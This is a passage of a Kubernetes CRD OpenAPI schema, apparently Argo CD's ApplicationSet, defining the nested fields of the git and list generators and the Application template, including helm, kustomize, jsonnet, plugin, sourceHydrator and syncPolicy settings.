                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                git:
                                  properties:
                                    directories:
                                      items:
                                        properties:
                                          exclude:
                                            type: boolean
                                          path:
                                            type: string
                                        required:
                                        - path
                                        type: object
                                      type: array
                                    files:
                                      items:
                                        properties:
                                          exclude:
                                            type: boolean
                                          path:
                                            type: string
                                        required:
                                        - path
                                        type: object
                                      type: array
                                    pathParamPrefix:
                                      type: string
                                    repoURL:
                                      type: string
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    revision:
                                      type: string
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  required:
                                  - repoURL
                                  - revision
                                  type: object
                                list:
                                  properties:
                                    elements:
                                      items:
                                        x-kubernetes-preserve-unknown-fields: true
                                      type: array
                                    elementsYaml:
                                      type: string
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
